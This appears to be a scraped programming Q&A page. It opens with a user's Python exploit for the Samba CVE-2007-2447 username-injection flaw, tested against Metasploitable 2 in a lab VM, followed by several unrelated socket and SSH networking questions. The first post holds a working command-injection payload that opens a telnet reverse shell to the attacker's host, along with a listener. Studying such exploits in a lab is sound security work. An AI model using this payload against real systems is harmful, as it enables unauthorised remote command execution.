Recently I've been creating a Python implementation of the Metasploit module for CVE2007-2447, I found a basic script online which I took some parts of then decided that I wanted to build the listener into the script so that I wouldn't have to run Netcat alongside the Python script.
import sys
import time
import socket
import threading
from smb.SMBConnection import SMBConnection
def exploit(rHost, rPort, lHost, lPort):
print("[+] " + rHost, rPort, lHost, lPort)
payload = 'sh -c(sleep 4535 | telnet ' + lHost + " " + lPort + ' | while : ; do sh && break; done 2>&1 | telnet ' + lHost + " " + lPort + ' >/dev/null 2>&1 &)'
username = "/=`nohup " + payload + "`"
password = ""
print("[+] " + username + password)
s = SMBConnection(username, password, "", "", use_ntlm_v2 = True)
#try:
s.connect(rHost, int(rPort), timeout=1)
print("[+] Payload sent!")
handler(shell)
#except Exception as e:
# print(e)
# print("[*] Fail!")
def handler(shell):
(conn, address) = shell.accept()
print("[+] Connected to " + address)
commandSender(conn)
conn.close()
def commandSender(conn):
shell_status = True
shell_recv_thread = threading.Thread(target=recvStream, args=(conn, shell_status))
shell_recv_thread.start()
command = ''
while shell_status == True:
command = input()
if command == "exit":
shell_status = False
conn.close()
shell_recv_thread.join()
sys.exit(0)
conn.send(bytes(command + "\n", "utf-8"))
def recvStream(conn, addr, status):
status = True
while status == True:
try:
print(conn.recv(1024))
except conn.timeout:
pass
except Exception as e:
print(e)
print("[*] Failed Shell Interaction...")
if __name__ == '__main__':
print("[*] CVE2007-2447")
if len(sys.argv) != 5:
print("[-] usage: <RHOST> <RPORT> <LHOST> <LPORT>")
else:
print("[+] Exectuting...")
shell = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
shell.bind((sys.argv[3], int(sys.argv[4])))
shell.listen(10)
rHost = sys.argv[1]
rPort = sys.argv[2]
lHost = sys.argv[3]
lPort = sys.argv[4]
exploit(rHost, rPort, lHost, lPort)
As you can see the script for this exploit is fairly simple, due to unsanitized user input an attacker can send commands to the affected device in the username field. I've checked Netstat while I run the script & I can see that my machine is definitely listening on the port I specify for lPort yet for some reason the socket seems to fail to accept the connection. In order to test the code I am running it inside a Ubuntu VM against Metasploitable 2 which is running in a separate VM on the same subnet.
Related
I have a lot of cisco switches and routers in my environment. I have three sets of credentials (only one of them works with a particular device. I then have the IPs listed in a notepad (sub.txt). And the configuration in another notepad (config.txt)
The aim is to push the configurations (line by line) from config.txt to the list of list of IP via SSH. If the command is accepted by the devices, a log should be put into success.txt and if the command is not accepted for some reason, a log should be appended to fail.txt
But this does not work. Can you please help me fix?
import paramiko
import time
import sys
import logging
import socket
import pexpect
import traceback
from pexpect.popen_spawn import PopenSpawn
remote_conn_pre = paramiko.SSHClient()
remote_conn_pre.set_missing_host_key_policy(paramiko.AutoAddPolicy())
ips = [i.strip() for i in open("sub.txt")]
user_local = "user1"
pass_local = "pass1"
user_aspac = "user2"
pass_aspac = "pass2"
user_batcca = "user3"
pass_batcca = "pass3"
g = open('config.txt', 'r+')
str = g.read()
g.close
success = open('success.txt', 'a')
fail = open('failed.txt', 'a')
paramiko.util.log_to_file("paramiko.log")
for ip in ips:
try:
remote_conn_pre.connect(ip, username=user_local, password=pass_local, timeout=4, look_for_keys=False, allow_agent=False)
#print ("SSH connection established to %s" + ip)
remote_conn = remote_conn_pre.invoke_shell()
print (ip + ' === local credential')
#remote_conn.send("show switch\n")
remote_conn.send((str))
time.sleep(2)
output = remote_conn.recv(5000)
print (output)
except paramiko.AuthenticationException:
try:
remote_conn_pre.connect(ip, username=user_aspac, password=pass_aspac, timeout=4, look_for_keys=False, allow_agent=False)
remote_conn1 = remote_conn_pre.invoke_shell()
print ip + ' === Global Credentials'
#output = remote_conn.recv(500)
#remote_conn.send("show switch")
#remote_conn.send("\n")
remote_conn1.send((str))
time.sleep(2)
output1 = remote_conn1.recv(5000)
print (output1)
except paramiko.AuthenticationException:
try:
#remote_conn_pre.connect(ip, username=user_batcca, password=pass_batcca, timeout=4, look_for_keys=False, allow_agent=False)
#remote_conn2 = remote_conn_pre.invoke_shell()
child = pexpect.popen_spawn.PopenSpawn('ssh ' + user_batcca + '#' + ip)
child.expect ('[pP]assword:')
child.sendline(pass_batcca)
print ip + ' === BATCCA Credential'
#output2 = remote_conn2.recv(5000)
for line in open('Config.txt').xreadlines():
child.sendline(line)
i = child.expect (['#', '^'])
if i==0:
success.write(ip + '\t' + line +'\n')
elif i==1:
fail.write(ip + '\t' + line +'\n')
time.sleep(5)
output2 = child.recv(5000)
print (output2)
except paramiko.AuthenticationException:
print ip + ' === Bad credentials'
remote_conn3 = remote_conn_pre.invoke_shell()
output3 = remote_conn3.recv(5000)
print (output3)
except paramiko.SSHException:
print ip + ' === Issues with ssh service'
except socket.error:
print ip + ' === Device unreachable'
I'm developing a server monitoring utility in Python that I want to work on everything from macOS to Haiku. It's split into a client that connects to and queries multiple servers. Right now I'm testing the client on a macOS host with the server running on Debian in a Parallels VM. However, I didn't commit the new changes I made that did work to GitHub, and then made some changes that broke the whole thing. I'm only going to include the parts of my code that are relevant.
This is from the client.
def getServerInfoByName(serverName):
serverIndex = serverNames.index(serverName)
serverAddress = serverAddressList[serverIndex]
serverPort = serverPorts[serverIndex]
serverUsername = serverUsernames[serverIndex]
return serverAddress, serverPort, serverUsername
for server in serverNames:
try:
if server != None:
serverInfo = getServerInfoByName(server)
exec(server + "Socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)")
exec(server + "Socket.connect(('" + serverInfo[0] + "', " + serverInfo[1] + "))")
except ConnectionRefusedError:
print("Could not establish a connection to " + server + ".")
print(divider)
sys.exit()
def clientLoop():
sys.stdout.write(termcolors.BLUE + "-> " + termcolors.ENDC)
commandInput = input()
splitCommand = commandInput.split(' ')
whichServer = splitCommand[0]
if splitCommand[0] == "exit":
sys.exit()
# Insert new one word client commands here
elif len(splitCommand) < 2:
print("Not enough arguments")
print(divider)
clientLoop()
elif splitCommand[1] == "ssh":
serverInfo = getServerInfoByName(whichServer)
os.system("ssh " + serverInfo[2] + "#" + serverInfo[0])
print(divider)
clientLoop()
# Insert new external commands above here (if any, perhaps FTP in the
# future).
# NOTE: Must be recursive or else we'll crash with an IndexError
# TODO: Possibly just catch the exception and use that to restart the
# function
else:
whichServer = splitCommand[0]
commandToServer = splitCommand[1]
exec(whichServer + "Socket.send(commandToServer.encode('utf-8'))")
response = exec(whichServer + "Socket.recv(1024)")
print(response.decode('utf-8'))
print(divider)
clientLoop()
clientLoop()
And this is from the server.
### Start the server
try:
incomingSocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
incomingSocket.bind((address, port))
except OSError:
print("The configured address is already in use.")
print("The problem should solve itself in a few seconds.")
print("Otherwise, make sure no other services are using")
print("the configured address.")
sys.exit()
incomingSocket.listen(1)
### Main loop for the server
while True:
clientSocket, clientAddress = incomingSocket.accept()
incomingCommand = clientSocket.recv(1024)
command = incomingCommand.decode('utf-8')
if command != None:
if command == "os":
clientSocket.send(osinfo[0].encode('utf-8'))
elif command == "hostname":
clientSocket.send(osinfo[1].encode('utf-8'))
elif command == "kernel":
clientSocket.send(osinfo[2].encode('utf-8'))
elif command == "arch":
clientSocket.send(osinfo[3].encode('utf-8'))
elif command == "cpu":
cpuOverall = getOverall()
cpuOverallMessage = "Overall CPU usage: " + str(cpuOverall) + "%"
clientSocket.send(cpuOverallMessage.encode('utf-8'))
elif command == "stopserver":
incomingSocket.close()
clientSocket.close()
sys.exit()
else:
clientSocket.send("Invalid command".encode('utf-8'))
Any time I try to send a command to the server, the client crashes with AttributeError: 'NoneType' object has no attribute 'decode' as soon as it tries to decode the response from the server. Eventually I want to encrypt the sockets with AES but I can't do that if it doesn't even work in plain text.
exec does not return anything. You should not generate variable names with exec but use dictionaries to store the sockets.
servers = {}
for name, address, port, username in zip(serverNames, serverAddressList, serverPorts, serverUsernames):
try:
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.connect((address, port))
servers[name] = server, address, port, username
except ConnectionRefusedError:
print("Could not establish a connection to {}.".format(name))
print(divider)
sys.exit()
def client_loop():
while True:
sys.stdout.write("{}-> {}".format(termcolors.BLUE,termcolors.ENDC))
command = input().split()
which_server = command[0]
if which_server == "exit":
break
elif len(command) < 2:
print("Not enough arguments")
print(divider)
elif command[1] == "ssh":
_, address, _, username = servers[which_server]
os.system("ssh {}#{}".format(username, address))
print(divider)
else:
server = servers[which_server][0]
server.sendall(command[1].encode('utf-8'))
response = server.recv(1024)
print(response.decode('utf-8'))
print(divider)
client_loop()
I am opening sockets on my localhost to receive connections from another virtual machine. I want to be able to close the socket/connection when I hit a button, however, even though the socket is closed, it is still in listening/close_wait state.
My code is the following:
def screen_cast(self, emulator_identifier, mode, server_ip, server_port, username):
global tcp_server_mode_dict
logging.info('Processing screen cast request on emulator ' + emulator_identifier)
try:
# change port so that there's a different one used for every vm ip
server_port = str(int(server_port) + int(emulator_identifier.split('.')[3].split(':')[0]))
if mode == "on":
args = [self.__ADB_EXE, "-s", emulator_identifier, "shell", "am", "startservice", "-a", server_ip + ":" + server_port, "com.conti.its.philipp.screener/.StartScreening"]
tcp_server_mode_dict[emulator_identifier] = "on"
logging.info('Starting screencast')
elif mode == "off":
args = [self.__ADB_EXE, "-s", emulator_identifier, "shell", "am","force-stop", "com.conti.its.philipp.screener"]
tcp_server_mode_dict[emulator_identifier] = "off"
logging.info('Stopping screencast')
if (mode in ["on", "off"]):
sp.call(args)
t = threading.Thread(target=self.screen_cast_service, args=[server_ip, server_port, emulator_identifier, username])
t.setDaemon(True)
t.start()
else:
return 'failed'
return tcp_server_mode_dict[emulator_identifier]
except:
logging.exception('Invoking screencast on mode ' + mode)
return 'failed'
def screen_cast_service(self, server_ip, server_port, emulator_identifier, username):
global tcp_server_mode_dict
logging.info('Handling screen cast service. Status: ' + tcp_server_mode_dict[emulator_identifier])
logging.info('Emulator IP: ' + emulator_identifier + ', Port: ' + server_port)
username_ext = username + "/"
try:
# create the dir to store the screenshot if not existing
if not os.path.exists(settings.DWD_DIR + username + "/screen/"):
os.makedirs(settings.DWD_DIR + username + "/screen/")
if not emulator_identifier in tcp_sockets:
s = socket.socket()
tcp_sockets[emulator_identifier] = s
if tcp_server_mode_dict[emulator_identifier] == "on":
tcp_sockets[emulator_identifier].setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
ADDR = (server_ip, int(server_port))
tcp_sockets[emulator_identifier].bind(ADDR)
tcp_sockets[emulator_identifier].listen(10)
while (tcp_server_mode_dict[emulator_identifier] == "on"):
ss, address = tcp_sockets[emulator_identifier].accept()
logging.info("Got Connection from: " + address[0])
with open(settings.DWD_DIR + username + "/screen/" + 'screen.png', 'wb') as f:
while True:
data = ss.recv(1024)
if not data:
break
f.write(data)
elif tcp_server_mode_dict[emulator_identifier] == "off":
tcp_sockets[emulator_identifier].close()
del tcp_sockets[emulator_identifier]
except Exception as e:
logging.exception('ScreenCast Server')
When I check for open ports, the following shows up:
$ sudo lsof -i :9448
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
Python 17930 philipp 12u IPv4 0x6c021ad25d0cb947 0t0 TCP 192.168.56.1:9448 (LISTEN)
Python 17930 philipp 14u IPv4 0x6c021ad2535e9947 0t0 TCP 192.168.56.1:9448->192.168.56.1:52964 (CLOSE_WAIT)
VBoxHeadl 17963 philipp 35u IPv4 0x6c021ad26bfaa567 0t0 TCP 192.168.56.1:52964->192.168.56.1:9448 (FIN_WAIT_2)
This doesn't throw an error or anything but when I wan't to turn the service back on again and create another socket, I get an error that the address is already used.
Can anybody help? Thanks in advance!
How can i make it so when someone connects to port 8080 they see the login screen and password instead of a client joining, for example i opened putty up and i clicked protocol "RAW" i put the I.P of 208.67.1.1 <- example I.P and port 8080 nothing shows but i don't get a connection refused.
Here's my code:
import sys
import time
from socket import *
sock = socket(AF_INET, SOCK_STREAM)
USER = "Haze"
PASS = "Myinternet202"
HOST = "0.0.0.0"
PORT = 8080
sock.bind((HOST, PORT))
sock.listen(1)
nickname = raw_input("Nickname: ")
if nickname == "%s" % (USER):
credentialsU = True
else:
credentialsU = False
if credentialsU == False:
print '----------------------------------------'
print '- INVALID CREDENTIALS -'
print '----------------------------------------'
time.sleep(5)
sys.exit(1)
password = raw_input("Password: ")
if password == "%s" % (PASS):
credentialsP = True
else:
credentialsP = False
if credentialsP == False:
print '----------------------------------------'
print '- INVALID CREDENTIALS -'
print '----------------------------------------'
time.sleep(5)
sys.exit(1)
if credentialsU == True and credentialsP == True:
while True:
main = raw_input("> ")
logs = open("logs.txt", "a")
logs.write("" + nickname + " -> " + main + "\r\n")
logs.close()
I am trying to implement a simple threaded SocketServer (using SocketServer.ThreadedMixIn). However, my server stops receiving further messages. Here is the code:
#!/usr/bin/python -u
import SocketServer
import sys
class MYAgentHandler(SocketServer.BaseRequestHandler):
def handle(self):
try:
data = self.request.recv(1024)
print "Received request " + str(data) + "\n"
reply = str(agent.processAgentMessage(data))
self.request.send(reply)
self.request.close()
except Exception, instr:
print "While processing data " + data + " error encountered " + str(instr) + "\n"
class ThreadedTCPServer(SocketServer.ThreadingMixIn, SocketServer.TCPServer):
daemon_threads = True
allow_reuse_address = True
def __init__(self, server_address, RequestHandlerClass):
SocketServer.TCPServer.__init__(self, server_address, RequestHandlerClass)
class MYAgent:
def processAgentMessage(self, msg):
try:
tokens = msg.split('^')
if tokens[0] == "CreateSession":
return("New session")
elif tokens[0] == "GetStatus":
return("Init")
except Exception, instr:
print "Error while processing message " + str(instr) + "\n"
agent = MYAgent()
def main():
MYServer = sys.argv[1]
MYAgentPort = sys.argv[2]
agent.listener = ThreadedTCPServer((MYServer, int(MYAgentPort)), MYAgentHandler)
agent.listener.serve_forever()
if __name__ == '__main__':
main()
And here is my client:
#!/usr/bin/python -u
import socket
import time
if __name__ == "__main__":
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(('localhost', 15222))
try:
sock.send("CreateSession")
sessionID = str(sock.recv(1024))
print "Received: " + sessionID
sock.send("GetStatus^"+sessionID)
print "Sent Getstatus\n"
time.sleep(1)
response = str(sock.recv(1024))
print "status of " + str(sessionID) + " is " + str(response) + "\n"
sock.close()
except Exception, instr:
print "Error occurred " + str(instr) + "\n"
Here is one session. Server output:
$ ./t.py localhost 15222
Received request CreateSession
Client output:
$ ./client.py
Received: New session
Sent Getstatus
status of New session is
$
Any ideas why this is happening?
You have to remove self.request.close() (which closes the connection) and wrap everything with while True: (so it will continue to read from the same socket).